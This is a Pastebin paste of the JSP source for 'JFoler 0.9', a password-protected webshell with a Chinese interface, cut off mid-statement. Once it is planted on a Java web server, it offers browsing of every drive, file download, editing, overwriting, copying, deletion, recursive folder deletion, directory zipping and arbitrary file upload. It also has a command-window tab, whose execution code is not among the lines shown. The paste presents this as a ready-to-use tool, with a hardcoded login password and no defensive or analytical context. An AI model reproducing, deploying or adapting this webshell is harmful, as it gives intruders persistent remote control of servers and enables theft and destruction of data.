Advertisement
Guest User

Untitled

a guest
Dec 23rd, 2016
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 41.90 KB | None | 0 0
  1. <%@ page contentType="text/html;charset=gb2312"%>
  2. <%@ page import="java.io.*,java.util.*,java.util.zip.*,java.text.*"%>
  3. <%
  4. long startTime = System.currentTimeMillis();
  5. long startMem = Runtime.getRuntime().freeMemory();
  6. String uri = request.getRequestURI();
  7. String strThisFile = uri.substring(uri.lastIndexOf("/")+1);//&#26412;&#25991;&#20214;&#25991;&#20214;&#21517;
  8. %>
  9. <%!private final static int languageNo = 0; //&#35821;&#35328;&#29256;&#26412;&#65292;0 : &#20013;&#25991;&#65307; 1&#65306;&#33521;&#25991;
  10. String password = "danmo";//&#30331;&#24405;&#23494;&#30721;
  11. String[] authorInfo = { "&#21407;&#20316;&#32773;:&#24904;&#21220;&#24378; &#20462;&#25913;:Hmilyld", " " };
  12. String[] strFileManage = { "&#25991; &#20214; &#31649; &#29702;", "File Management" };
  13. String[] strCommand = { "CMD &#21629; &#20196;", "Command Window" };
  14. String[] strSysProperty = { "&#31995; &#32479; &#23646; &#24615;", "System Property" };
  15. String[] zipFolderProperty = { "&#30446;&#24405;&#25171;&#21253;&#19979;&#36733;", "This Folder ZIP" };
  16. String[] strHelp = { "&#24110; &#21161;", "Help" };
  17. String[] strParentFolder = { "&#19978;&#32423;&#30446;&#24405;", "Parent Folder" };
  18. String[] strCurrentFolder = { "&#24403;&#21069;&#30446;&#24405;", "Current Folder" };
  19. String[] strDrivers = { "&#30424;&#31526;", "Drivers" };
  20. String[] strFileName = { "&#25991;&#20214;&#21517;&#31216;", "File Name" };
  21. String[] strFileSize = { "&#25991;&#20214;&#22823;&#23567;", "File Size" };
  22. String[] strLastModified = { "&#26368;&#21518;&#20462;&#25913;", "Last Modified" };
  23. String[] strFileOperation = { "&#25991;&#20214;&#25805;&#20316;", "Operations" };
  24. String[] strFileEdit = { "&#20462;&#25913;", "Edit" };
  25. String[] strFileDown = { "&#19979;&#36733;", "Download" };
  26. String[] strFileCopy = { "&#22797;&#21046;", "Move" };
  27. String[] strFileDel = { "&#21024;&#38500;", "Delete" };
  28. String[] strExecute = { "&#25191;&#34892;", "Execute" };
  29. String[] strBack = { "&#36820;&#22238;", "Back" };
  30. String[] strFileSave = { "&#20445;&#23384;", "Save" };
  31. String[] strCreateFile = { "&#26032;&#24314;&#25991;&#20214;", "Create File" };
  32. String[] strCreateFolder = { "&#26032;&#24314;&#30446;&#24405;", "Create Folder" };
  33. String[] strUpload = { "&#19978;&#20256;", "Upload" };
  34. String[] strDelFolder = {"&#21024;&#38500;&#30446;&#24405;","Del Folder"};
  35. public static class UploadMonitor {
  36. static Hashtable uploadTable = new Hashtable();
  37. static void set(String fName, UplInfo info) {
  38. uploadTable.put(fName, info);
  39. }
  40. static void remove(String fName) {
  41. uploadTable.remove(fName);
  42. }
  43. static UplInfo getInfo(String fName) {
  44. UplInfo info = (UplInfo) uploadTable.get(fName);
  45. return info;
  46. }
  47. }
  48. public class UplInfo {
  49. public long totalSize;
  50. public long currSize;
  51. public long starttime;
  52. public boolean aborted;
  53. public UplInfo() {
  54. totalSize = 0l;
  55. currSize = 0l;
  56. starttime = System.currentTimeMillis();
  57. aborted = false;
  58. }
  59. public UplInfo(int size) {
  60. totalSize = size;
  61. currSize = 0;
  62. starttime = System.currentTimeMillis();
  63. aborted = false;
  64. }
  65. public String getUprate() {
  66. long time = System.currentTimeMillis() - starttime;
  67. if (time != 0) {
  68. long uprate = currSize * 1000 / time;
  69. return convertFileSize(uprate) + "/s";
  70. } else
  71. return "n/a";
  72. }
  73. public int getPercent() {
  74. if (totalSize == 0)
  75. return 0;
  76. else
  77. return (int) (currSize * 100 / totalSize);
  78. }
  79. public String getTimeElapsed() {
  80. long time = (System.currentTimeMillis() - starttime) / 1000l;
  81. if (time - 60l >= 0) {
  82. if (time % 60 >= 10)
  83. return time / 60 + ":" + (time % 60) + "m";
  84. else
  85. return time / 60 + ":0" + (time % 60) + "m";
  86. } else
  87. return time < 10 ? "0" + time + "s" : time + "s";
  88. }
  89. public String getTimeEstimated() {
  90. if (currSize == 0)
  91. return "n/a";
  92. long time = System.currentTimeMillis() - starttime;
  93. time = totalSize * time / currSize;
  94. time /= 1000l;
  95. if (time - 60l >= 0) {
  96. if (time % 60 >= 10)
  97. return time / 60 + ":" + (time % 60) + "m";
  98. else
  99. return time / 60 + ":0" + (time % 60) + "m";
  100. } else
  101. return time < 10 ? "0" + time + "s" : time + "s";
  102. }
  103. }
  104. public class FileInfo {
  105. public String name = null, clientFileName = null,
  106. fileContentType = null;
  107. private byte[] fileContents = null;
  108. public File file = null;
  109. public StringBuffer sb = new StringBuffer(100);
  110. public void setFileContents(byte[] aByteArray) {
  111. fileContents = new byte[aByteArray.length];
  112. System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
  113. }
  114. }
  115. public class HttpMultiPartParser {
  116. private final int ONE_MB = 1024 * 1;
  117. public Hashtable processData(ServletInputStream is, String boundary,
  118. String saveInDir, int clength) throws IllegalArgumentException,
  119. IOException {
  120. if (is == null)
  121. throw new IllegalArgumentException("InputStream");
  122. if (boundary == null || boundary.trim().length() < 1)
  123. throw new IllegalArgumentException("\"" + boundary
  124. + "\" is an illegal boundary indicator");
  125. boundary = "--" + boundary;
  126. StringTokenizer stLine = null, stFields = null;
  127. FileInfo fileInfo = null;
  128. Hashtable dataTable = new Hashtable(5);
  129. String line = null, field = null, paramName = null;
  130. boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
  131. boolean isFile = false;
  132. if (saveFiles) { // Create the required directory (including parent dirs)
  133. File f = new File(saveInDir);
  134. f.mkdirs();
  135. }
  136. line = getLine(is);
  137. if (line == null || !line.startsWith(boundary))
  138. throw new IOException("Boundary not found; boundary = "
  139. + boundary + ", line = " + line);
  140. while (line != null) {
  141. if (line == null || !line.startsWith(boundary))
  142. return dataTable;
  143. line = getLine(is);
  144. if (line == null)
  145. return dataTable;
  146. stLine = new StringTokenizer(line, ";\r\n");
  147. if (stLine.countTokens() < 2)
  148. throw new IllegalArgumentException(
  149. "Bad data in second line");
  150. line = stLine.nextToken().toLowerCase();
  151. if (line.indexOf("form-data") < 0)
  152. throw new IllegalArgumentException(
  153. "Bad data in second line");
  154. stFields = new StringTokenizer(stLine.nextToken(), "=\"");
  155. if (stFields.countTokens() < 2)
  156. throw new IllegalArgumentException(
  157. "Bad data in second line");
  158. fileInfo = new FileInfo();
  159. stFields.nextToken();
  160. paramName = stFields.nextToken();
  161. isFile = false;
  162. if (stLine.hasMoreTokens()) {
  163. field = stLine.nextToken();
  164. stFields = new StringTokenizer(field, "=\"");
  165. if (stFields.countTokens() > 1) {
  166. if (stFields.nextToken().trim().equalsIgnoreCase(
  167. "filename")) {
  168. fileInfo.name = paramName;
  169. String value = stFields.nextToken();
  170. if (value != null && value.trim().length() > 0) {
  171. fileInfo.clientFileName = value;
  172. isFile = true;
  173. } else {
  174. line = getLine(is); // Skip "Content-Type:" line
  175. line = getLine(is); // Skip blank line
  176. line = getLine(is); // Skip blank line
  177. line = getLine(is); // Position to boundary line
  178. continue;
  179. }
  180. }
  181. } else if (field.toLowerCase().indexOf("filename") >= 0) {
  182. line = getLine(is); // Skip "Content-Type:" line
  183. line = getLine(is); // Skip blank line
  184. line = getLine(is); // Skip blank line
  185. line = getLine(is); // Position to boundary line
  186. continue;
  187. }
  188. }
  189. boolean skipBlankLine = true;
  190. if (isFile) {
  191. line = getLine(is);
  192. if (line == null)
  193. return dataTable;
  194. if (line.trim().length() < 1)
  195. skipBlankLine = false;
  196. else {
  197. stLine = new StringTokenizer(line, ": ");
  198. if (stLine.countTokens() < 2)
  199. throw new IllegalArgumentException(
  200. "Bad data in third line");
  201. stLine.nextToken(); // Content-Type
  202. fileInfo.fileContentType = stLine.nextToken();
  203. }
  204. }
  205. if (skipBlankLine) {
  206. line = getLine(is);
  207. if (line == null)
  208. return dataTable;
  209. }
  210. if (!isFile) {
  211. line = getLine(is);
  212. if (line == null)
  213. return dataTable;
  214. dataTable.put(paramName, line);
  215. // If parameter is dir, change saveInDir to dir
  216. if (paramName.equals("dir"))
  217. saveInDir = line;
  218. line = getLine(is);
  219. continue;
  220. }
  221. try {
  222. UplInfo uplInfo = new UplInfo(clength);
  223. UploadMonitor.set(fileInfo.clientFileName, uplInfo);
  224. OutputStream os = null;
  225. String path = null;
  226. if (saveFiles)
  227. os = new FileOutputStream(path = getFileName(saveInDir,
  228. fileInfo.clientFileName));
  229. else
  230. os = new ByteArrayOutputStream(ONE_MB);
  231. boolean readingContent = true;
  232. byte previousLine[] = new byte[2 * ONE_MB];
  233. byte temp[] = null;
  234. byte currentLine[] = new byte[2 * ONE_MB];
  235. int read, read3;
  236. if ((read = is.readLine(previousLine, 0,
  237. previousLine.length)) == -1) {
  238. line = null;
  239. break;
  240. }
  241. while (readingContent) {
  242. if ((read3 = is.readLine(currentLine, 0,
  243. currentLine.length)) == -1) {
  244. line = null;
  245. uplInfo.aborted = true;
  246. break;
  247. }
  248. if (compareBoundary(boundary, currentLine)) {
  249. os.write(previousLine, 0, read - 2);
  250. line = new String(currentLine, 0, read3);
  251. break;
  252. } else {
  253. os.write(previousLine, 0, read);
  254. uplInfo.currSize += read;
  255. temp = currentLine;
  256. currentLine = previousLine;
  257. previousLine = temp;
  258. read = read3;
  259. }//end else
  260. }//end while
  261. os.flush();
  262. os.close();
  263. if (!saveFiles) {
  264. ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
  265. fileInfo.setFileContents(baos.toByteArray());
  266. } else
  267. fileInfo.file = new File(path);
  268. dataTable.put(paramName, fileInfo);
  269. uplInfo.currSize = uplInfo.totalSize;
  270. }//end try
  271. catch (IOException e) {
  272. throw e;
  273. }
  274. }
  275. return dataTable;
  276. }
  277. private boolean compareBoundary(String boundary, byte ba[]) {
  278. if (boundary == null || ba == null)
  279. return false;
  280. for (int i = 0; i < boundary.length(); i++)
  281. if ((byte) boundary.charAt(i) != ba[i])
  282. return false;
  283. return true;
  284. }
  285. private synchronized String getLine(ServletInputStream sis)
  286. throws IOException {
  287. byte b[] = new byte[1024];
  288. int read = sis.readLine(b, 0, b.length), index;
  289. String line = null;
  290. if (read != -1) {
  291. line = new String(b, 0, read);
  292. if ((index = line.indexOf('\n')) >= 0)
  293. line = line.substring(0, index - 1);
  294. }
  295. return line;
  296. }
  297. public String getFileName(String dir, String fileName)
  298. throws IllegalArgumentException {
  299. String path = null;
  300. if (dir == null || fileName == null)
  301. throw new IllegalArgumentException("dir or fileName is null");
  302. int index = fileName.lastIndexOf('/');
  303. String name = null;
  304. if (index >= 0)
  305. name = fileName.substring(index + 1);
  306. else
  307. name = fileName;
  308. index = name.lastIndexOf('\\');
  309. if (index >= 0)
  310. fileName = name.substring(index + 1);
  311. path = dir + File.separator + fileName;
  312. if (File.separatorChar == '/')
  313. return path.replace('\\', File.separatorChar);
  314. else
  315. return path.replace('/', File.separatorChar);
  316. }
  317. }
  318. private String formatPath(String p) {
  319. StringBuffer sb = new StringBuffer();
  320. for (int i = 0; i < p.length(); i++) {
  321. if (p.charAt(i) == '\\') {
  322. sb.append("\\\\");
  323. } else {
  324. sb.append(p.charAt(i));
  325. }
  326. }
  327. return sb.toString();
  328. }
  329. private static String conv2Html(int i) {
  330. if (i == '&')
  331. return "&amp;";
  332. else if (i == '<')
  333. return "&lt;";
  334. else if (i == '>')
  335. return "&gt;";
  336. else if (i == '"')
  337. return "&quot;";
  338. else
  339. return "" + (char) i;
  340. }
  341. private static String htmlEncode(String st) {
  342. StringBuffer buf = new StringBuffer();
  343. for (int i = 0; i < st.length(); i++) {
  344. buf.append(conv2Html(st.charAt(i)));
  345. }
  346. return buf.toString();
  347. }
  348. String getDrivers() {
  349. StringBuffer sb = new StringBuffer(strDrivers[languageNo] + " : ");
  350. File roots[] = File.listRoots();
  351. for (int i = 0; i < roots.length; i++) {
  352. sb.append(" <a href=\"javascript:doForm('','" + roots[i]
  353. + "\\','','','1','');\">");
  354. sb.append(roots[i] + "</a>&nbsp;");
  355. }
  356. return sb.toString();
  357. }
  358. static String convertFileSize(long filesize) {
  359. //bug 5.09M &#26174;&#31034;5.9M
  360. String strUnit = "Bytes";
  361. String strAfterComma = "";
  362. int intDivisor = 1;
  363. if (filesize >= 1024 * 1024) {
  364. strUnit = "MB";
  365. intDivisor = 1024 * 1024;
  366. } else if (filesize >= 1024) {
  367. strUnit = "KB";
  368. intDivisor = 1024;
  369. }
  370. if (intDivisor == 1)
  371. return filesize + " " + strUnit;
  372. strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor;
  373. if (strAfterComma == "")
  374. strAfterComma = ".0";
  375. return filesize / intDivisor + "." + strAfterComma + " " + strUnit;
  376. }
  377.  
  378. static class ZipFolder {
  379. public static void zipDirectory(String dir, String zipfile)
  380. throws IOException, IllegalArgumentException {
  381. File d = new File(dir);
  382. if (!d.isDirectory()) {
  383. throw new IllegalArgumentException("&#38169;&#35823;,&#27809;&#26377;&#25214;&#21040;" + dir + "&#30446;&#24405;");
  384. }
  385. String[] entries = d.list();
  386. byte[] buffer = new byte[4096];
  387. int bytes_read;
  388. ZipOutputStream out = new ZipOutputStream(new FileOutputStream(
  389. zipfile));
  390. for (int i = 0; i < entries.length; i++) {
  391. File f = new File(d, entries[i]);
  392. if (f.isDirectory())
  393. continue;
  394. FileInputStream in = new FileInputStream(f);
  395. ZipEntry entry = new ZipEntry(f.getPath());
  396. out.putNextEntry(entry);
  397. while ((bytes_read = in.read(buffer)) != -1)
  398. out.write(buffer, 0, bytes_read);
  399. in.close();
  400. }
  401. out.close();
  402. }
  403. }
  404. static void delFolder(File dir){
  405. File filelist[]=dir.listFiles();
  406. int listlen=filelist.length;
  407. for(int i=0;i<listlen;i++){
  408. if(filelist[i].isDirectory()){
  409. delFolder(filelist[i]);
  410. }
  411. else{
  412. filelist[i].delete();
  413. }
  414. }
  415. dir.delete();//&#21024;&#38500;&#24403;&#21069;&#30446;&#24405;
  416. }
  417. %>
  418. <%
  419. request.setCharacterEncoding("gb2312");
  420. String tabID = request.getParameter("tabID");
  421. String strDir = request.getParameter("path");
  422. String strAction = request.getParameter("action");
  423. String strFile = request.getParameter("file");
  424. String strPath = strDir + "\\" + strFile;
  425. String strCmd = request.getParameter("cmd");
  426. StringBuffer sbEdit = new StringBuffer("");
  427. StringBuffer sbDown = new StringBuffer("");
  428. StringBuffer sbCopy = new StringBuffer("");
  429. StringBuffer sbSaveCopy = new StringBuffer("");
  430. StringBuffer sbNewFile = new StringBuffer("");
  431. StringBuffer sbZip = new StringBuffer("");
  432. StringBuffer sbDelFolder = new StringBuffer("");
  433. String user = (String) request.getSession().getAttribute("user");
  434. if (request.getParameter("password") != null
  435. && request.getParameter("password").equals(password)) {
  436. request.getSession().setAttribute("user", "ok");
  437. response.sendRedirect(strThisFile);
  438. }
  439. if ((tabID == null) || tabID.equals("")) {
  440. tabID = "1";
  441. }
  442. if (strDir == null || strDir.length() < 1) {
  443. strDir = request.getSession().getServletContext().getRealPath(
  444. "/");
  445. }
  446. if (strAction != null && strAction.equals("down")) {
  447. File f = new File(strPath);
  448. if (f.length() == 0) {
  449. sbDown.append("&#25991;&#20214;&#22823;&#23567;&#20026; 0 &#23383;&#33410;&#65292;&#23601;&#19981;&#29992;&#19979;&#20102;&#21543;");
  450. } else {
  451. response.setHeader("content-type",
  452. "text/html; charset=ISO-8859-1");
  453. response.setContentType("APPLICATION/OCTET-STREAM");
  454. response.setHeader("Content-Disposition",
  455. "attachment; filename=\"" + f.getName() + "\"");
  456. FileInputStream fileInputStream = new FileInputStream(f
  457. .getAbsolutePath());
  458. out.clearBuffer();
  459. int i;
  460. while ((i = fileInputStream.read()) != -1) {
  461. out.write(i);
  462. }
  463. fileInputStream.close();
  464. out.close();
  465. }
  466. }
  467. if (strAction != null && strAction.equals("del")) {
  468. File f = new File(strPath);
  469. f.delete();
  470. }
  471. if (strAction != null && strAction.equals("edit")) {
  472. File f = new File(strPath);
  473. BufferedReader br = new BufferedReader(new InputStreamReader(
  474. new FileInputStream(f)));
  475. sbEdit
  476. .append("<form name='frmEdit' action='' method='POST'>\r\n");
  477. sbEdit
  478. .append("<input type=hidden name=action value=save >\r\n");
  479. sbEdit.append("<input type=hidden name=path value='" + strDir
  480. + "' >\r\n");
  481. sbEdit.append("<input type=hidden name=file value='" + strFile
  482. + "' >\r\n");
  483. sbEdit.append("<input type=submit name=save value=' "
  484. + strFileSave[languageNo] + " '> ");
  485. sbEdit.append("<input type=button name=goback value=' "
  486. + strBack[languageNo]
  487. + " ' onclick='history.back(-1);'> &nbsp;" + strPath
  488. + "\r\n");
  489. sbEdit
  490. .append("<br><textarea rows=22 name=content style=\"font-size:12px;width:96%;\">");
  491. String line = "";
  492. while ((line = br.readLine()) != null) {
  493. sbEdit.append(htmlEncode(line) + "\r\n");
  494. }
  495. sbEdit.append("</textarea>");
  496. sbEdit.append("<input type=hidden name=path value=" + strDir
  497. + ">");
  498. sbEdit.append("</form>");
  499. }
  500. if (strAction != null && strAction.equals("save")) {
  501. File f = new File(strPath);
  502. BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(
  503. new FileOutputStream(f)));
  504. String strContent = request.getParameter("content");
  505. bw.write(strContent);
  506. bw.close();
  507. }
  508. if (strAction != null && strAction.equals("copy")) {
  509. sbCopy
  510. .append("<br><form name='frmCopy' action='' method='POST'>\r\n");
  511. sbCopy
  512. .append("<input type=hidden name=action value=savecopy >\r\n");
  513. sbCopy.append("<input type=hidden name=path value='" + strDir
  514. + "' >\r\n");
  515. sbCopy.append("<input type=hidden name=file value='" + strFile
  516. + "' >\r\n");
  517. sbCopy.append("&#21407;&#22987;&#25991;&#20214;&#65306; " + strPath + "<p>");
  518. sbCopy
  519. .append("&#30446;&#26631;&#25991;&#20214;&#65306; <input type=text name=file2 size=40 value='"
  520. + strDir + "'><p>");
  521. sbCopy.append("<input type=submit name=save value=' "
  522. + strFileCopy[languageNo] + " '> ");
  523. sbCopy.append("<input type=button name=goback value=' "
  524. + strBack[languageNo]
  525. + " ' onclick='history.back(-1);'> <p>&nbsp;\r\n");
  526. sbCopy.append("</form>");
  527. }
  528. if (strAction != null && strAction.equals("savecopy")) {
  529. File f = new File(strPath);
  530. String strDesFile = request.getParameter("file2");
  531. if (strDesFile == null || strDesFile.equals("")) {
  532. sbSaveCopy.append("<p><font color=red>&#30446;&#26631;&#25991;&#20214;&#38169;&#35823;&#12290;</font>");
  533. } else {
  534. File f_des = new File(strDesFile);
  535. if (f_des.isFile()) {
  536. sbSaveCopy
  537. .append("<p><font color=red>&#30446;&#26631;&#25991;&#20214;&#24050;&#23384;&#22312;,&#19981;&#33021;&#22797;&#21046;&#12290;</font>");
  538. } else {
  539. String strTmpFile = strDesFile;
  540. if (f_des.isDirectory()) {
  541. if (!strDesFile.endsWith("\\")) {
  542. strDesFile = strDesFile + "\\";
  543. }
  544. strTmpFile = strDesFile + "cqq_" + strFile;
  545. }
  546. File f_des_copy = new File(strTmpFile);
  547. FileInputStream in1 = new FileInputStream(f);
  548. FileOutputStream out1 = new FileOutputStream(f_des_copy);
  549. byte[] buffer = new byte[1024];
  550. int c;
  551. while ((c = in1.read(buffer)) != -1) {
  552. out1.write(buffer, 0, c);
  553. }
  554. in1.close();
  555. out1.close();
  556. sbSaveCopy.append("&#21407;&#22987;&#25991;&#20214; &#65306;" + strPath + "<p>");
  557. sbSaveCopy.append("&#30446;&#26631;&#25991;&#20214; &#65306;" + strTmpFile + "<p>");
  558. sbSaveCopy.append("<font color=red>&#22797;&#21046;&#25104;&#21151;&#65281;</font>");
  559. }
  560. }
  561. sbSaveCopy
  562. .append("<p><input type=button name=saveCopyBack onclick='history.back(-2);' value=&#36820;&#22238;>");
  563. }
  564. if (strAction != null && strAction.equals("newFile")) {
  565. String strF = request.getParameter("fileName");
  566. String strType1 = request.getParameter("btnNewFile");
  567. String strType2 = request.getParameter("btnNewDir");
  568. String strType = "";
  569. if (strType1 == null) {
  570. strType = "Dir";
  571. } else if (strType2 == null) {
  572. strType = "File";
  573. }
  574. if (!strType.equals("") && !(strF == null || strF.equals(""))) {
  575. File f_new = new File(strF);
  576. if (strType.equals("File") && !f_new.createNewFile())
  577. sbNewFile.append(strF + " &#25991;&#20214;&#21019;&#24314;&#25104;&#21151;");
  578. if (strType.equals("Dir") && !f_new.mkdirs())
  579. sbNewFile.append(strF + " &#30446;&#24405;&#21019;&#24314;&#25104;&#21151;");
  580. } else {
  581. sbNewFile.append("<p><font color=red>&#24314;&#31435;&#25991;&#20214;&#25110;&#30446;&#24405;&#20986;&#38169;&#12290;</font>");
  582. }
  583. }
  584. if (null!=strAction && "delFolder".equals(strAction)){
  585. String folder = request.getParameter("path");
  586. File dir = new File(folder);
  587. delFolder(dir);
  588. sbDelFolder.append("&#30446;&#24405;&#21024;&#38500;&#25104;&#21151;");
  589. }
  590. if (null != strAction && "zipFolder".equals(strAction)) {
  591. String inFolder = request.getParameter("path");
  592. String outFolder = request.getParameter("file");
  593. ZipFolder.zipDirectory(inFolder, outFolder);
  594. sbZip.append("<p>&#30446;&#24405;&#21387;&#32553;&#25104;&#21151;,&#21387;&#32553;&#25991;&#20214;&#36335;&#24452;&#20026;:" + outFolder + "</p>");
  595. }
  596. if ((request.getContentType() != null)
  597. && (request.getContentType().toLowerCase()
  598. .startsWith("multipart"))) {
  599. String tempdir = ".";
  600. response.setContentType("text/html");
  601. sbNewFile.append("<p><font color=red>&#24314;&#31435;&#25991;&#20214;&#25110;&#30446;&#24405;&#20986;&#38169;&#12290;</font>");
  602. HttpMultiPartParser parser = new HttpMultiPartParser();
  603. int bstart = request.getContentType().lastIndexOf("oundary=");
  604. String bound = request.getContentType().substring(bstart + 8);
  605. int clength = request.getContentLength();
  606. Hashtable ht = parser.processData(request.getInputStream(),
  607. bound, tempdir, clength);
  608. if (ht.get("cqqUploadFile") != null) {
  609. FileInfo fi = (FileInfo) ht.get("cqqUploadFile");
  610. File f1 = fi.file;
  611. UplInfo info = UploadMonitor.getInfo(fi.clientFileName);
  612. if (info != null && info.aborted) {
  613. f1.delete();
  614. request.setAttribute("error", "Upload aborted");
  615. } else {
  616. String path = (String) ht.get("path");
  617. if (path != null && !path.endsWith("\\"))
  618. path = path + "\\";
  619. if (!f1.renameTo(new File(path + f1.getName()))) {
  620. request
  621. .setAttribute("error",
  622. "Cannot upload file.");
  623. f1.delete();
  624. }
  625. }
  626. }
  627. }
  628. %>
  629. <html>
  630. <head>
  631. <title>JFoler 0.9 By Hmilyld&#20462;&#25913;&#29256;</title>
  632. <style type="text/css">
  633. td,select,input,body {
  634. font-size: 9pt;
  635. }
  636. .form1 {
  637. display: inline;
  638. margin: 0px;
  639. }
  640. A {
  641. TEXT-DECORATION: none
  642. }
  643. #tablist {
  644. padding: 5px 0;
  645. margin: 1px 0 2px 0;
  646. font: 9pt;
  647. }
  648. #tablist li {
  649. list-style: none;
  650. display: inline;
  651. margin: 0px;
  652. }
  653. #tablist li a {
  654. padding: 3px 0.5em;
  655. margin-left: 3px;
  656. border: 1px solid;
  657. background: F6F6F6;
  658. }
  659. #tablist li a:link,#tablist li a:visited {
  660. color: navy;
  661. }
  662. #tablist li a.current {
  663. background: #EAEAFF;
  664. }
  665. #tabcontentcontainer {
  666. width: 100%;
  667. padding: 5px;
  668. border: 1px solid black;
  669. }
  670. .tabcontent {
  671. display: none;
  672. }
  673. </style>
  674. <%if (user != null) {%>
  675. <script type="text/javascript">
  676. var initialtab=[<%=tabID%>, "menu<%=tabID%>"]
  677. function cascadedstyle(el, cssproperty, csspropertyNS){
  678. if (el.currentStyle)
  679. return el.currentStyle[cssproperty]
  680. else if (window.getComputedStyle){
  681. var elstyle=window.getComputedStyle(el, "")
  682. return elstyle.getPropertyValue(csspropertyNS)
  683. }
  684. }
  685. var previoustab=""
  686. function expandcontent(cid, aobject){
  687. if (document.getElementById){
  688. highlighttab(aobject)
  689. if (previoustab!="")
  690. document.getElementById(previoustab).style.display="none"
  691. document.getElementById(cid).style.display="block"
  692. previoustab=cid
  693. if (aobject.blur)
  694. aobject.blur()
  695. return false
  696. }
  697. else
  698. return true
  699. }
  700. function highlighttab(aobject){
  701. if (typeof tabobjlinks=="undefined")
  702. collecttablinks()
  703. for (i=0; i<tabobjlinks.length; i++)
  704. tabobjlinks[i].style.backgroundColor=initTabcolor
  705. var themecolor=aobject.getAttribute("theme")? aobject.getAttribute("theme") : initTabpostcolor
  706. aobject.style.backgroundColor=document.getElementById("tabcontentcontainer").style.backgroundColor=themecolor
  707. }
  708. function collecttablinks(){
  709. var tabobj=document.getElementById("tablist")
  710. tabobjlinks=tabobj.getElementsByTagName("A")
  711. }
  712. function do_onload(){
  713. collecttablinks()
  714. initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
  715. initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
  716. expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
  717. }
  718. if (window.addEventListener)
  719. window.addEventListener("load", do_onload, false)
  720. else if (window.attachEvent)
  721. window.attachEvent("onload", do_onload)
  722. else if (document.getElementById)
  723. window.onload=do_onload
  724. </script>
  725. <script language="javascript">
  726. function doForm(action,path,file,cmd,tab,content)
  727. {
  728. document.frmCqq.action.value=action;
  729. document.frmCqq.path.value=path;
  730. document.frmCqq.file.value=file;
  731. document.frmCqq.cmd.value=cmd;
  732. document.frmCqq.tabID.value=tab;
  733. document.frmCqq.content.value=content;
  734. if(action=="del"){
  735. if(confirm("&#30830;&#23450;&#35201;&#21024;&#38500;&#25991;&#20214; "+file+" &#21527;&#65311;"))
  736. document.frmCqq.submit();
  737. }else{
  738. if(action=="delFolder"){
  739. if(confirm("&#30830;&#23450;&#35201;&#21024;&#38500;&#30446;&#24405; "+path+" &#21527;&#65311;\n"+"&#21024;&#38500;&#35813;&#30446;&#24405;,&#21017;&#35813;&#30446;&#24405;&#19979;&#25991;&#20214;&#19968;&#24182;&#21024;&#38500;"))
  740. document.frmCqq.submit();
  741. }else{
  742. document.frmCqq.submit();
  743. }
  744. }
  745. }
  746. </script>
  747. <%}%>
  748. </head>
  749. <body>
  750. <%if (user == null) {%>
  751. <form action="" method="post">
  752. <table align="center">
  753. <tr>
  754. <td>&#30331;&#24405;&#23494;&#30721;:</td>
  755. <td><input type="password" name="password" /></td>
  756. </tr>
  757. <tr>
  758. <td colspan="2" align="center">
  759. <input type="submit" value="&#30331;&#24405;" />
  760. </td>
  761. </tr>
  762. </table>
  763. </form>
  764. <%
  765. } else {
  766. %>
  767. <form name="frmCqq" method="post" action="">
  768. <input type="hidden" name="action" value="">
  769. <input type="hidden" name="path" value="">
  770. <input type="hidden" name="file" value="">
  771. <input type="hidden" name="cmd" value="">
  772. <input type="hidden" name="tabID" value="2">
  773. <input type="hidden" name="content" value="">
  774. </form>
  775. <!--Top Menu Started-->
  776. <ul id="tablist">
  777. <li>
  778. <a href="http://www.whylover.com" class="current"
  779. onClick="return expandcontent('menu1', this)"><%=strFileManage[languageNo]%></a>
  780. </li>
  781. <li>
  782. <a href="http://www.whylover.com"
  783. onClick="return expandcontent('menu2', this)"><%=strCommand[languageNo]%></a>
  784. </li>
  785. <li>
  786. <a href="http://www.whylover.com"
  787. onClick="return expandcontent('menu3', this)"><%=strSysProperty[languageNo]%></a>
  788. </li>
  789. <li>
  790. <a href="http://www.whylover.com"
  791. onClick="return expandcontent('menu4', this)"><%=strHelp[languageNo]%></a>
  792. </li>
  793. </ul>
  794. <!--Top Menu End-->
  795. <%
  796. StringBuffer sbFolder = new StringBuffer("");
  797. StringBuffer sbFile = new StringBuffer("");
  798. try {
  799. File objFile = new File(strDir);
  800. if(!objFile.exists()){
  801. strDir = strDir.substring(0,strDir.lastIndexOf("\\"));
  802. objFile = new File(strDir);
  803. }
  804. File list[] = objFile.listFiles();
  805. if (objFile.getAbsolutePath().length() > 3) {
  806. sbFolder
  807. .append("<tr><td ></td><td><a href=\"javascript:doForm('','");
  808. sbFolder.append(formatPath(objFile.getParentFile()
  809. .getAbsolutePath()));
  810. sbFolder.append("','','" + strCmd + "','1','');\">");
  811. sbFolder.append(strParentFolder[languageNo]);
  812. sbFolder.append("</a>");
  813. sbFolder.append(" <a href=\"javascript:doForm('zipFolder','");
  814. sbFolder.append(formatPath(strDir));
  815. sbFolder.append("','"+formatPath(strDir)+"\\\\hZipFile.zip','" + strCmd + "','1','');\">");
  816. sbFolder.append(zipFolderProperty[languageNo]);
  817. sbFolder.append("</a>");
  818. sbFolder.append("<br>");
  819. sbFolder.append("- - - - - - - - - - - </td></tr>\r\n");
  820. }
  821. for (int i = 0; i < list.length; i++) {
  822. if (list[i].isDirectory()) {
  823. sbFolder.append("<tr><td >&nbsp;</td><td>");
  824. sbFolder.append("<a href=\"javascript:doForm('','");
  825. sbFolder.append(formatPath(list[i]
  826. .getAbsolutePath()));
  827. sbFolder
  828. .append("','','" + strCmd + "','1','');\">");
  829. sbFolder.append(list[i].getName()+ "</a>");
  830. sbFolder.append(" <a href=\"javascript:doForm('delFolder','");
  831. sbFolder.append(formatPath(list[i]
  832. .getAbsolutePath()));
  833. sbFolder
  834. .append("','','" + strCmd + "','1','');\">");
  835. sbFolder.append(strDelFolder[languageNo]+ "</a>");
  836. sbFolder.append("<br></td></tr> ");
  837. } else {
  838. String strLen = "";
  839. String strDT = "";
  840. long lFile = 0;
  841. lFile = list[i].length();
  842. strLen = convertFileSize(lFile);
  843. java.util.Date dt = new java.util.Date(list[i]
  844. .lastModified());
  845. SimpleDateFormat dd = new SimpleDateFormat(
